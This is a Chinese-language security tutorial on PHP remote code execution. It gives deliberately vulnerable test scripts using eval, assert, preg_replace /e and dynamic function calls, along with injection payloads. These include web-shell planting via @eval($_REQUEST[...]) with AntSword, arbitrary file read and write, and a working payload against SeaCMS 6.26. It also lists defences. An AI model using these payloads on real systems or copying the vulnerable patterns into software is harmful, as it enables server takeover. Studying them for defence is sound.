一、远程代码执行概述
远程代码执行(Remote Code Execution,简称RCE)是一种严重的安全漏洞,允许攻击者在远程系统上执行任意代码。这种漏洞通常发生在应用程序或系统未能正确验证用户输入,导致攻击者可以注入恶意代码。攻击者利用RCE漏洞可以在目标系统上执行恶意操作,如窃取数据、篡改系统配置、安装恶意软件或完全控制目标系统。RCE漏洞可能存在于各种软件和系统中,包括Web应用程序、服务器软件、操作系统等。
1.1 漏洞原理
RCE(Remote Code Execution)远程代码执行。以PHP为例,PHP代码执行漏洞的原理及成因:
代码执行(注入) (Web方面)是指应用程序过滤不严,用户可以通过请求将代码注入到应用中执行。代码执行(注入)类似于SQL注入漏洞,SQLi是将SQL语句注入到数据库中执行,而代码执行则是可以把代码注入到应用中最终由服务器运行它。这样的漏洞如果没有特殊的过滤,相当于直接有一个Web后门的存在。
条件1:程序中含有可以执行PHP代码的函数或语言结构。 |
---|
条件2:传入条件1中的参数,客户端可控,可以直接修改或影响。 |
1.2 漏洞危害
Web应用如果存在代码执行漏洞是一件非常可怕的事情,就像一个人没有穿衣服,赤裸裸的暴露在光天化日之下。可以通过代码执行漏洞继承Web用户权限,执行任意代码。如果具有服务器没有正确配置,Web用户权限比较高的话,我们可以读写目标服务器任意文件内容,甚至控制整个网站以及服务器。
下文以PHP为例子来说明代码执行漏洞。 PHP中有很多函数和语句都会造成PHP代码执行漏洞。
二、相关函数和语句
2.1 eval()
eval()会将字符串当作php代码执行。
测试代码如下:
<? php
if(isset($_GET['code'] ) ){
$code=$_GET['code'] ;
eval( $code) ;
}else{
echo "Please submit code!<br />?code=phpinfo() ;";
}
?>
提交变量的方式:
?code=phpinfo();
?code=${phpinfo()};
?code=1;phpinfo( );
PHP eval函数RCE示例:
C:\phpstudy\WWW\code-i\eval.php
![]()
![]()
![]()
![]()
分号隔开,执行多条语句。
2.2 assert()
assert( )同样会作为PHP代码执行
测试代码如下:
<?php
if(isset($__GET[ 'code']) ){
$code=$_ GET[ ' code'] ;
assert( $code) ;
}else{
echo "Please submit code!<br />?code=phpinfo()";
}
?>
提交参数 [?code=phpinfo()]或[?code=phpinfo();]
PHP assert()函数RCE示例:
C:\phpstudy\WWW\code-i\assert.php
![]()
![]()
![]()
echo md5(1);不能执行
![]()
不能执行多条命令。
2.3 preg_replace()
preg_ replace() 函数的作用是对字符串进行正则处理。
参数和返回值如下:
mixed preg_replace (mixed $pattern, mixed $replacement , mixed $subject[,int limit = -1[,int &$count]])
这段代码的含义是搜索$subject中匹配$pattern的部分,以$ replacement进行替换,而当$pattern处,即第一个参数存在e修饰符时,$replacement的值会被当成PHP代码来执行。
典型的代码如下:
<?php
if(isset($_ GET['code'])){
$code=$_ GET['code'];
preg_replace("/\[(.*)\]/e",'\\1', $code);
}else{
echo"?code= [phpinfo()]";
}
?>
\\1代表正则第一次匹配的内容
PHP preg_replace()函数RCE示例:
C:\phpstudy\WWW\code-i\preg_replace.php
<?php if(isset($_GET['code'])){ @$code=$_GET['code']; preg_replace("/\[(.*)\]/e",'\\1', $code); }else{ echo"?code= [phpinfo()]"; } ?>
![]()
提交参数 [?code=[phpinfo()]], phpinfo() 会被执行。
2.4 call_user_func()
call_user_func( )等函数都有调用其他函数的功能,其中的一个参数作为要调用的函数名,那如果这个传入的函数名可控,那就可以调用意外的函数来执行我们想要的代码,也就是存在任意代码执行漏洞。
以call_user_func()为例子,该函数的第一个参数作为回调函数, 后面的参数为回调函数的参数,测试代码如下:
<?php
if(isset($_GET['fun'])){
$fun=$_GET['fun'] ;
$para=$_GET['para'];
call_user_func( $fun, $para) ;
}
else{
echo"?fun=assert& para=phpinfo()";
}
?>
提交参数 [?fun=assert¶=phpinfo()]
PHP call_user_func()函数RCE示例:
C:\phpstudy\WWW\code-i\call_user_func.php
![]()
![]()
⚠️:不能调用eval,eval属于语言结构不是函数。
![]()
2.5 动态函数$a($b)
由于PHP的特性原因,PHP的函数支持直接由拼接的方式调用,这直接导致了PHP在安全上的控制又加大了难度。不少知名程序中也用到了动态函数的写法,这种写法跟使用call_user_func()的初衷一样,用来更加方便地调用函数,但是一旦过滤不严格就会造成代码执行漏洞。
测试代码如下:
<?php
if(isset($_GET['a'])){
$a=$_GET['a'] ;
$b=$_GET['b'];
$a($b) ;
}else{
echo "?a=assert& b=phpinfo()";
}
?>
提交参数[?a=assert&b=phpinfo()]
PHP 动态函数RCE示例:
C:\phpstudy\WWW\code-i\dths.php
![]()
eval不能用。
![]()
三、漏洞利用
3.1 直接获取shell
提交参数[?code=@eval($_POST[123.com]);], 即可构成一句话木马,密码为[123.com]。
可以使用菜刀/蚁剑连接。[?code=@eval($_REQUEST[123.com]);]
EX:利用PHP代码注入漏洞
漏洞探测:
![]()
构造一句话木马:
![]()
http://192.168.33.4/code-i/assert.php?code=@eval($_REQUEST[123]);
![]()
用蚁剑连接。点击添加。
![]()
成功getshell。
3.2 获取当前文件的绝对路径
__FILE__
是PHP预定义常量,其含义当前文件的路径。
?code=print(__FILE__);
EX:通过RCE获取句对路径
![]()
3.3 读文件
利用file_get_contents() 函数读取服务器任意文件,前提是知道目标文件路径和读取权限。
?code=var_dump(file_get_contents('c:\windows\system32\drivers\hosts'));
EX:利用PHP代码注入漏洞读文件
code=var_dump(file_get_contents(%27c:\windows\system32\drivers\hosts%27));
![]()
3.4 写文件
我们可以利用file_put_contents()函数,写入文件。前提是知道可写目录。
?code=var_dump(file_put_contents($_POST[1],$_POST[2]));
?code=file_put_contents($_POST[1],$_POST[2]);
此时可以借助于hackbar通过post方式提交参数
1=shell.php&2=<?php phpinfo()?>
即可在当前目录下创建一个文件shell.php 内容是 <?php phpinfo()?>
。
EX:利用PHP代码注入漏洞读文件写文件
![]()
![]()
![]()
四、防御方法
1.尽量不要使用eval等函数
2.如果使用的话一定要进行严格的过滤
3.preg_ replace 放弃使用/e修饰符
4.修改php.ini配置文件,禁用相关函数。
disable_functions=assert
修改之后重启服务。
可以看到assert()函数已经被禁用了。
⚠️:eval不是函数,不能在这里禁用。
实战
1)Seacmsv6.26 PHP代码注入漏洞
[?searchtype=5&tid=&area=phpinfo( ) ]
此处想象空间非常大。
6.55 6.53 6.54 都存在代码执行漏洞。
EX:海洋CMS6.26 代码注入漏洞
1、搭建网站
![]()
![]()
⚠️:数据库密码 设置成root
2、漏洞验证
[search.php?searchtype=5&tid=&area=phpinfo( ) ]
![]()